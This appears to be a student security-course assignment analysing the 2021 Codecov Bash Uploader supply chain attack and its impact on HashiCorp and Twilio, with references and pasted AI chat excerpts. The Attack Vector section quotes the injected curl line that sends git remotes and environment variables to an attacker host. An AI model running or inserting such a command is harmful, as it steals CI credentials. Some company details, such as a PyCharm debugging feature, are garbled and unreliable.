

Assignment 4: Supply Chain Attack Investigation

CYBR3080 - IT Service Delivery Security

Gregory Stephens

Detailed Overview of the Codecov Bash Uploader Attack.....	2
Company Overview:.....	2
Timeline of the Attack:.....	3
Attack Vector:.....	3
The team discovered several significant leads during the inquiry of the Bash Uploader script's last security event that might allow people to ascertain if their computers had been impacted. These are the findings:.....	3
IP addresses participating.....	3
Where did the Data go?.....	3
Who effected the shift?.....	3
Other IP addresses connected to the attackers.....	3
Possible Related IP Address.....	3
Response Measures:.....	4
Urgent Measures To Restrict The Breach.....	4
Enhancing Monitoring and Detection Capabilities.....	4
Strengthening Security Policies and Procedures.....	4
Transparent Communication with Stakeholders.....	4
Long-Term Commitment to Security.....	4
Impact Analysis:.....	4
Impact on Codecov.....	4
Impact on Customers.....	4
Industry-Wide Implications.....	5
Consequences and Outcomes:.....	5
Financial Losses.....	5
Reputational Damage.....	5
Changes Implemented to Enhance Security.....	5
Immediate Remediation Steps.....	5
Enhanced Monitoring and Detection.....	5
Strengthening Security Policies and Procedures.....	5
Long-Term Security Investments.....	6
Positive Outcomes and Lessons Learned.....	6
HashiCorp Affected by Codecov Attack.....	6
Company Overview:.....	6
Supplier Relationship:.....	6
Impact of the Attack:.....	7
Resulting Issues:.....	7
Prevention Strategies:.....	8
Twillio Affected by Codecov Attack.....	8
Company Overview:.....	8
Supplier Relationship:.....	9
Impact of the Attack:.....	9
Resulting Issues:.....	9
Prevention Strategies:.....	10
References.....	10

Detailed Overview of the Codecov Bash Uploader Attack

Company Overview:

Jerrod Engelberg and Steve Peak started Codecov in 2014, a San Francisco-based business that has become a significant software developer by offering sophisticated code coverage analysis tools. By providing workable ideas into their testing techniques, the company's main goal is to enable developers to compile better, more dependable code. Automating, during the build process, the collection and evaluation of code coverage data, Codecov's platform smoothly integrates into common CI/CD (Continuous Integration/Continuous Deployment) pipelines and development tools including GitHub, GitLab, Bitbucket, CircleCI, Jenkins, and Travis CI. Codecov enables businesses to calculate how much of their source code is covered by tests by creating thorough reports and visualizations, allowing developers to find untested parts of their codebase and raise general software quality.

Apart from its main features, Codecov provides configurable metrics that enable groups to establish acceptable code coverage levels and guarantee compliance with inside or outside criteria. By permitting developers to comment on pull requests with coverage information, Atlassian's collaboration technology helps developers to communicate and therefore makes it more straightforward to fill gaps in testing. Codecov also works on open-source initiatives, assisting maintainers in mentioning testing requirements and checking that submissions satisfy quality criteria. Used by millions of companies around the world, Codecov is an essential part of current development practices along with major players such as Google, Microsoft, IBM, Shopify, and Stripe. Supporting agile approaches, DevOps methods, and enterprise-level compliance needs, it therefore is a critical asset for businesses working to produce dependable software effectively. Codecov is molding the way development teams handle testing and code quality in a software environment that is getting more complex using its creative approaches. [1;4]

Key points about Codecov:

Function:

- Allows step debugging of tests under PyCharm IDE.

Integration:

- Why code coverage in CI/CD Integrates with multiple CI/CD platforms and code repositories, providing coverage data directly in the developer workflow.

Benefits:

- It helps developers track down areas where there is low test coverage, improve code quality, and decide where to augment testing.

Features:

- Comments on pull requests with coverage information.
- Tailor fit quality gates according to coverage levels.
- Graphs and charts to enable visual portrayal of coverage reports.
- Multi-language and multi-testing framework support. [1;4]

Timeline of the Attack:

- **January 31, 2021:** The attackers first gained unauthorized access to Codecov's infrastructure.
- **April 1, 2021:** Codecov discovered the breach and began investigating.
- **April 15, 2021:** Codecov publicly disclosed the incident and notified affected customers. [2;3]

Attack Vector:

The team discovered several significant leads during the inquiry of the Bash Uploader script's last security event that might allow people to ascertain if their computers had been impacted. These are the findings:

The intruders changed the Bash Uploader script by including this line:

```
bash
1 curl -sm 0.5 -d "$(git remote -v) <<<<< ENV $(env)" https://IPADDRESS/upload/v2 || true
```

The change enabled the script to gather sensitive data from users' surroundings and transmit it to outside servers under attacker control. [2]

IP addresses participating

Where did the Data go?

The thieved information was sent to these IP addresses:

- 178.62.86.114
- 104.248.96.35

Who effected the shift?

Identified as the IP address used to mess with the Bash Uploader script itself:

- 79.135.72.34

Other IP addresses connected to the attackers

Further IP addresses were noted as probably connected to the attackers or their infrastructure:

- 185.211.156.78
- 91.194.227.*

Possible Related IP Address

Although not known, these IPs were found as likely linked to the breach:

- 5.189.73.*
- 218.92.0.247
- 122.228.19.79
- 106.107.253.89
- 185.71.67.56
- 45.146.164.164
- 118.24.150.193
- 37.203.179.207
- 185.27.192.99 [2]

Response Measures:

Urgent Measures To Restrict The Breach

- Rotating all relevant internal credentials.
- Auditing key accessibility.
- Decommissioning the malicious server.

Enhancing Monitoring and Detection Capabilities

- Setting up monitoring and auditing tools.
- Continuous monitoring of systems.

Strengthening Security Policies and Procedures

- Reinforcing security tools.
- Updating policies and procedures.
- Maintaining compliance with security standards.

Transparent Communication with Stakeholders

- Public disclosure of the incident.
- Acknowledging vulnerabilities.
- Providing guidance to affected customers.

Long-Term Commitment to Security

- Investing in security infrastructure.
- Conducting regular audits.
- Collaborating with the cybersecurity community. [2]

Impact Analysis:

Impact on Codecov

The breach had a significant impact on Codecov's reputation, operations, and customer trust:

- Reputation damage.
- Increased scrutiny.
- Resource allocation.

Impact on Customers

The breach exposed sensitive data from numerous customer environments, potentially leading to further compromises. The impact on customers included:

- Exposure of sensitive credentials.
- Potential secondary breaches.
- Investigation and mitigation costs.

Industry-Wide Implications

The Codecov Bash Uploader Attack highlighted broader vulnerabilities in software supply chains and raised awareness about the risks of third-party dependencies:

- Supply chain risks.
- Increased focus on security.
- Regulatory and compliance concerns. [2]

Consequences and Outcomes:

Financial Losses

While Codecov did not disclose financial figures related to the breach, the attack likely resulted in significant costs associated with:

- Incident response and investigation.
- Customer notifications and support.
- Legal and regulatory compliance.
- Loss of business opportunities.

Reputational Damage

The breach had an impact on Codecov's reputation as a trusted provider of code coverage tools:

- Erosion of customer trust.
- Media and industry scrutiny.
- Competitive disadvantage.

Changes Implemented to Enhance Security

In response to the breach, Codecov implemented several measures to strengthen its security framework and prevent future incidents. These changes reflect the company's commitment to regaining customer trust and improving its strength against cyber threats:

Immediate Remediation Steps

- Rotating compromised credentials.
- Decommissioning the malicious server.

Enhanced Monitoring and Detection

- Deploying monitoring tools.
- Continuous system monitoring.

Strengthening Security Policies and Procedures

- Updating internal policies.
- Improving access controls.
- Reinforcing key management practices.

Long-Term Security Investments

- Investing in security infrastructure.
- Conducting regular audits.
- Collaborating with the cybersecurity community.

Positive Outcomes and Lessons Learned

Despite the challenges posed by the breach, the incident also led to some positive outcomes for Codecov:

- Improved transparency.
- Stronger security posture.
- Industry awareness. [2]

HashiCorp Affected by Codecov Attack

Company Overview:

A leading technology business, HashiCorp has become a foundation of modern IT operations, DevOps, and cloud infrastructure. The firm got started in 2012 thanks to Mitchell Hashimoto and Armon Dadgar, who came onto the scene at a moment when businesses were just starting to wrestle with the difficulties of moving from conventional on-premises data centers to dynamic, scalable, and distributed cloud environments. HashiCorp started to develop a range of creative solutions meant to tackle these issues, seeing the rising demand for technologies that might streamline this change while guaranteeing security, scalability, and performance.

HashiCorp's philosophy centers around the concept of "infrastructure as code" (IaC) and automation, which allows developers and operators to control complicated systems via consistent, repeatable workflows. Constructed to enable businesses to run smoothly across several cloud services including Amazon Web Services (AWS), Microsoft Azure, and Google Cloud Platform (GCP), the company's software supports multi-cloud strategies. Organizations looking to update their IT infrastructure while controlling costs, security, and performance find in HashiCorp a top choice owing to their flexibility.

Beyond its product lines, HashiCorp has an impact. The firm has been instrumental in defining the more general discussion on microservices architectures, cloud-native technology, and DevOps approaches. HashiCorp has built a dynamic worldwide network of developers, contributors, and users who work together to improve and broaden the functionality of its products by promoting open-source development. This community-based model not only speeds up innovation but also guarantees that HashiCorp's products remain relevant and flexible for the constantly changing requirements of the sector. [4;5;6]

Supplier Relationship:

The use of Codecov exposed HashiCorp's CI/CD pipelines to possible dangers, resulting in the revelation of certain private repository keys. Though the business acted quickly to resolve the compromised keys and check the scope of the breach, the event brought to light the risks brought by third-party software in important development processes.

The assault alerted HashiCorp and the general sector to the necessity of protecting software distribution networks. Though not a direct supplier, the dependency created by Codecov's involvement in HashiCorp's development processes exposed the company to unexpected risks. HashiCorp reacted by strengthening its security policies to stop repeat events going forward. Meanwhile, Codecov set about recovering customers' confidence by increasing the openness of their site and beefing up the security of their platform. The event underlined the need for businesses to systematically examine and track third-party integrations to reduce supply chain risks. [7;8;9]

Impact of the Attack:

Since it revealed weaknesses in the internal development processes of the business, the Codecov supply chain strike had serious effects on HashiCorp. The breach, according to reports, let attackers subdue the Bash Uploader code Codecov was utilized in HashiCorp's CI/CD pipeline. This discovery could allow for the exfiltration of sensitive information, including private repository keys linked to HashiCorp's internal systems. Though HashiCorp rotated the exposed keys promptly and evaluated the extent of the breach, the event underlined the domino effects of third-party tool dependencies. The assault showed how a weakness in something ostensibly peripheral like Codecov could permeate vital processes, hence threatening the security of HashiCorp's software development life cycle.

This reminded HashiCorp of the need for more security precautions and stricter supervision when external tools are combined into their infrastructure. Moreover, the breach intensified sector-wide debates on supply chain weaknesses, therefore urging better openness, monitoring, and proactive mitigation measures to avoid comparable events in the future. [7;8;9]

Resulting Issues:

HashiCorp's CI/CD pipelines were revealed by the compromised Bash Uploader script from Codecov, which might have let sensitive information—private repository keys—be exfiltrated. These keys are vital for protecting access to HashiCorp's internal code repositories; their reveal opened unauthorized access to intellectual property and proprietary programs. Although HashiCorp quickly rotated the compromised keys and looked into the breach, the event pointed out deficiencies in the company's capacity to completely diminish risks from third-party software. This brought into question the integrity of HashiCorp's development processes and the possibility of criminals using matching weaknesses later on.

More generally, the assault highlighted structural problems in software supply chains, especially the cascading dangers of corrupted third-party software. The breach highlighted for HashiCorp the importance of better monitoring and tighter restrictions on the integration of outside services into their infrastructure. Moreover, the event raised general worries about the rising danger of supply chain attacks, as underlined in reports from outlets such as TechTarget. It sparked debates about the need for openness, early threat identification, and strong mitigation tactics to avoid similar violations. Dealing with these issues became very important for HashiCorp to restore confidence and guarantee the safety of their development processes going ahead. [7;8;9]

Prevention Strategies:

HashiCorp responded to the Codecov supply chain assault by implementing many solutions to lessen the result and stop the next weaknesses. One instant move was the rotation of all exposed private repository keys, so disabling any possibly negotiated passcodes. Doing this helped to reduce the danger of HashiCorp's internal systems and code repositories getting accessed without permission. Furthermore, the business undertook a comprehensive internal probe to determine how vast the breach was and to point out any other probable flaws in its CI/CD pipelines.

Beyond quick remediation, the event spurred HashiCorp to implement more general prevention measures meant to counteract the dangers of third-party software. The company probably added extra attention to its use of outside software, therefore underscoring the need for more rigorous restrictions and constant monitoring of integrations in its infrastructure. Sources like TechTarget and The Register highlighting the need for proactive steps including improving openness with third-party vendors, installing more stringent access controls, and investing in software supply chain anomaly detection tools also underline the need for industry-wide debates raised by the breach. These initiatives show an increasing awareness of the urgency for businesses including HashiCorp to give supply chain security the topmost attention it deserves as a vital part of their general cybersecurity strategy.[7;8;9]

Twilio Affected by Codecov Attack

Company Overview:

Twilio was established in 2008 by Evan Cooke, Jeff Lawson, and John Wolthuis; it seeks to "fuel the future of communication" by giving developers tools to create flexible, scalable communication systems. The platform runs on a pay-as-you-go scheme, so companies of all sizes can afford to make use of its services. Using Twilio's versatile APIs, businesses can automatically call phones, transmit text messages, and handle other types of communication without having to create a sophisticated framework from the ground up. Given its creative strategy, Twilio now leads the Communication Platform as a Service (CPaaS) sector, handling over 250,000 customers internationally including big names such as Airbnb, Uber, and Netflix.

Twilio, based out of San Francisco, California, went public in 2016 and has since broadened its services through planned mergers, including SendGrid for email APIs and Segment for customer data management. By allowing companies to offer customized experiences at scale, these acquisitions have enabled Twilio to become a full customer engagement solution. Twilio's strong developer ecosystem, including extensive documentation, SDKs, and community support, shows how it values innovation. Twilio is still instrumental in changing how companies engage with their customers by enabling smooth communication over several contacts. Twilio's capability to adjust to new technologies—such as AI-powered chatbots and omnichannel messaging—keeps it at the top of the quickly changing communications scene. [10;11]

Supplier Relationship:

Twilio usedCodecov, a company of code coverage analysis software, which it incorporated into its software development life cycle (CI/CD pipeline). Twilio's engineering teams utilized Codecov's instruments to monitor test coverage in their software and thereby measure and enhance code quality. Codecov's status as a trusted third-party dependency in Twilio's operations stems from its provision of essential infrastructure for guaranteeing strong software development practices as a supplier.

When a flaw in Codecov's infrastructure enabled hackers to jeopardize its systems, the relationship became a security issue in April 2021. These exposed Twilio's inside information, including credentials, since Codecov's damaged software was integrated into Twilio's development processes. The event exposed Twilio's dependence on Codecov's tools for code coverage analysis, thereby drawing attention to the dangers of supply chain interdependence when upstream suppliers are attacked. [12;13;14]

Impact of the Attack:

Twilio's software development process relied on Codecov's code coverage tool; attackers took advantage of a weakness in it. Unapproved access to Twilio's internal systems via the breach led to stolen sensitive data, including proprietary information and credentials. Twilio said customer accounts and data were not directly damaged, but the hackers used Codecov's privileged status in Twilio's CI/CD pipeline to break into its infrastructure. This emphasized the system risks of third-party dependencies since the damaged tool from Codecov acted as a portal to attack downstream users including Twilio.

Twilio responded by revoking compromised credentials, improving monitoring, and starting an investigation with law enforcement agencies and cybersecurity professionals. Twirling's link with other well-known sufferers like HashiCorp emphasized the more general effect of supply chain weaknesses. Although no customer-facing systems were invaded, the attack compelled Twilio to rethink its supply chain security policies. Reinforcing the vital importance of securing every stage of the software development life, the event underscored the need for meticulous vendor vetting and forward steps to lower upstream provider risks. [12;13;14]

Resulting Issues:

The supply chain attack by Codecov revealed to Twilio several major problems arising from the compromise of Codecov's code coverage tool, which Twilio utilized in its development processes. By means of a weakness in Codecov's infrastructure, hackers gained entrance to Twilio's internal systems and extracted sensitive information including proprietary material and staff credentials. Even though Twilio verified that customer accounts and production systems were not directly compromised, the attackers got unauthorized access to inside tools and repositories, therefore worrying about possible lateral movement inside Twilio's environment. This emphasized the risk of trusted third-party software in the software supply chain; Codecov's compromised infrastructure started becoming a vector for assaulting downstream users as Twilio shows.

Twilio had operational and reputation difficulties following the incident. The firm had to conduct a forensic inquiry to determine the total extent of the breach, disable compromised credentials , increase security monitoring, and conduct a forensic investigation to assess the full scope of the breach. Additionally, Twilio worked with law enforcement and cybersecurity professionals to lower exposure of risk and assure consumers about the honesty of their information. [12;13;14]

Prevention Strategies:

TheCodecov supply chain assault caused Twilio and other afflicted companies to implement short-term and longer-term prevention measures to lessen future dangers. Afterwards, Twilio zeroed in on credential security by deleting compromised access tokens and using automatic credential rotation to shorten the life span of sensitive information. To identify unauthorized access, the business also improved monitoring and logging across all of its systems and used sophisticated threat detection systems to highlight suspicious behavior live. Twilio also carefully reviewed its software development lifecycle (SDLC) to spot and fix third-party dependency weaknesses, therefore guaranteeing that tools such as Codecov were either replaced or kept under tighter control. These efforts intended to deal with the current consequences while strengthening defenses against side-to-side travel inside their systems.

More generally, the event drove sector-wide demands for institutional reforms to guard against supply chain weaknesses. Twilio and other companies started promoting software bills of materials (SBOMs) to monitor dependencies and increase openness in third-party elements. There was also a movement toward zero trust architectures , where no entity—internal or external—is trusted by default and access is constantly verified. Along with more rigorous vendor standards for code signing and vulnerability disclosure, industry professionals stressed the requirement of required security audits of third-party and open-source software. These approaches show a change toward proactive risk control, which minimizes dependence on trust-based interactions and highlights proven security measures all through the software supply chain. [12;13;14]

References

- [1] Codecov. (n.d.). <https://about.codecov.io/>
- [2] Engelberg, J. (2021, April 15). April 15th, 2021 Bash Uploader Security Update.
<https://about.codecov.io/security-update/?spm=2b75ac3d.2ef5001f.0.0.3d4dc921oyyGI2>
- [3] Lemos, R. (2021, April 20). Attackers Compromised Code-Checking Vendor's Tool for Two Months.
<https://www.darkreading.com/cyberattacks-data-breaches/attackers-compromised-code-checking-vendor-s-tool-for-two-months>
- [4] Qwen 2.5-Max. (n.d.). Give me an overview of Codecov; Give me an overview of HashiCorp; Give me an overview of Twillo (Prompts). <https://chat.qwen.ai/>

Give me a company overview of Codcov

 Qwen2.5-Max 2:34 PM

Company Overview of Codecov

What is Codecov?

Codecov is a software development tool provider that specializes in **code coverage analysis**. Code coverage is a metric used to measure the extent to which the source code of a program is tested by a particular test suite. It helps developers identify untested parts of their codebase, ensuring higher quality and more reliable software.

Codecov's platform integrates with popular development tools and CI/CD (Continuous Integration/Continuous Deployment) pipelines to provide detailed insights into code coverage metrics. The company's tools are widely used by development teams to improve testing efficiency, track code quality, and ensure compliance with internal or external standards.

Give me the company overview of HashiCorp using this two links: <https://en.wikipedia.org/wiki/HashiCorp>;
https://www.hashicorp.com/en/products/vault?utm_source=google&utm_medium=cpc&utm_term=twilio&utm_campaign=G_S_NAMER_Brand_Twilio_Tier1&cq_place=&cq_net=g&cq_pos=&cq_med=&cq_plt=gp&gad_source=1&gclid=CjwKCAiArKW-BhAzEiwAZhWslDsLitevejG44QQla7stF8NQx7pYryOx2b5DZFK66pg1aNHdemtnxoChN8QAvD_BwE

 Qwen2.5-Max 12:23 PM

Company Overview of HashiCorp

Introduction

HashiCorp is a technology company that specializes in creating tools and software for building, managing, and securing modern infrastructure. Founded in 2012 by Mitchell Hashimoto and Armon Dadgar, the company has established itself as a leader in the DevOps and cloud infrastructure space. HashiCorp's products are widely used by organizations to manage multi-cloud environments, automate workflows, and ensure security across distributed systems.

Give me the company overview of Twilio using this two links: https://www.twilio.com/en-us/lp/twilio-brand-namer?utm_source=google&utm_medium=cpc&utm_term=twilio&utm_campaign=G_S_NAMER_Brand_Twilio_Tier1&cq_place=&cq_net=g&cq_pos=&cq_med=&cq_plt=gp&gad_source=1&gclid=CjwKCAiArKW-BhAzEiwAZhWslEkVrgsGK8eibXcnKbceMkMFXNN3IBN64eXrNGVF8rxY5FSbXCYRhoC3dEOAvD_BwE;
<https://en.wikipedia.org/wiki/Twilio>.

 Qwen2.5-Max 2:14 PM

Company Overview of Twilio

Twilio is a leading cloud communications platform that enables businesses to integrate various communication channels—such as voice, text, chat, and email—into their applications and workflows. By providing developers with simple APIs (Application Programming Interfaces), Twilio empowers companies to build scalable, customizable, and innovative communication solutions without the need for complex infrastructure.

[5] HashiCorp. (n.d.). We're a once-in-a-generation company helping organizations operate in the cloud. <https://www.hashicorp.com/en/about>

[6] Wikipedia. (n.d.). HashiCorp. <https://en.wikipedia.org/wiki/HashiCorp>

[7] Sharma, A. (2021, April 21). HashiCorp is the latest victim of Codecov supply-chain attack.

<https://www.bleepingcomputer.com/news/security/hashicorp-is-the-latest-victim-of-codecov-supply-chain-attack/>

[8] Culafi, A. (2021, April 28). Codecov breach raises concerns about the software supply chain.

<https://www.techtarget.com/searchsecurity/news/252499956/Codecov-breach-raises-concerns-about-software-supply-chain>

[9] Anderson, T. (2021, April 21). HashiCorp reveals exposure of private code-signing key after Codecov compromise.

https://www.theregister.com/2021/04/26/hashicorp_reveals_exposure_of_private/

[10] Twilio. (n.d.).

https://www.twilio.com/en-us/lp/twilio-brand-namer?utm_source=google&utm_medium=pc&utm_term=twilio&utm_campaign=G_S_NAMER_Brand_Twilio_Tier1&cq_placement=g&cq_pos=&cq_medium=&cq_plt=gp&gad_source=1&gclid=CjwKCAiArKW-BhAzEiwA_ZhWslEkVrqysGK8eibXcnKbceMkMFXN

[11] Wikipedia. (n.d.). <https://en.wikipedia.org/wiki/Twilio>

[12] Twilio. (2021, May 4). Twilio's Response to the Recent Codecov Vulnerability.

<https://www.twilio.com/en-us/blog/response-to-the-codecov-vulnerability>

[13] Naraine, R. (2021, May 10). Twilio, HashiCorp Among Codecov Supply Chain Hack Victims.

<https://www.securityweek.com/twilio-hashicorp-among-codecov-supply-chain-hack-victims/>

[14] Sharma, A. (2021, May 4). Twilio discloses impact from Codecov supply-chain attack.

<https://www.bleepingcomputer.com/news/security/twilio-discloses-impact-from-codecov-supply-chain-attack/>

